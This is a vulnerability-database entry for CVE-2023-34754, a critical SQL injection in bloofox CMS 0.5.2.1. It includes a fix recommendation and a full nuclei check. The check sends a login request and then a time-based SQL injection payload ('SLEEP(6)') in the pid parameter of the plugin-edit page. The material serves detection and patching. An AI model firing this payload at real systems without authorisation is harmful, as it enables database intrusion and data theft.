HexBrain

Browse / CVEs / CVE-2023-34754

CVE-2023-34754· bloofox / bloofoxcms· CWE-89

Bloofox v0.5.2.1 - SQL Injection

criticalseverity
9.8CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the pid parameter at admin/index.php?mode=settings&page=plugins&action=edit.

Impact

Allows attackers to execute arbitrary SQL queries, potentially leading to data leakage or data manipulation.

Fix

Update bloofox to version v0.5.2.2 or later to patch the SQL Injection vulnerability.

How to confirm it

Send: POST /admin/index.php ; POST /admin/index.php?mode=settings&page=plugins&action=edit
Positive when: duration_2>=6 and contains_all(body_2, "Active</option>", "Inactive</option>") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-34754 -u <target>

The full check
id: CVE-2023-34754

info:
  name: Bloofox v0.5.2.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the pid parameter at admin/index.php?mode=settings&page=plugins&action=edit.
  impact: |
    Allows attackers to execute arbitrary SQL queries, potentially leading to data leakage or data manipulation.
  remediation: |
    Update bloofox to version v0.5.2.2 or later to patch the SQL Injection vulnerability.
  reference:
    - https://ndmcyb.hashnode.dev/T-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34754
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34754
    cwe-id: CWE-89
    epss-score: 0.03449
    epss-percentile: 0.89111
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: bloofox
    product: bloofoxcms
  tags: time-based-sqli,cve,cve2023,bloofox,sqli,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login

      - |
        POST /admin/index.php?mode=settings&page=plugins&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        status=1&pid=14'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+Ptkr%26send%3dSave&send=Save

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'contains_all(body_2, "Active</option>", "Inactive</option>")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from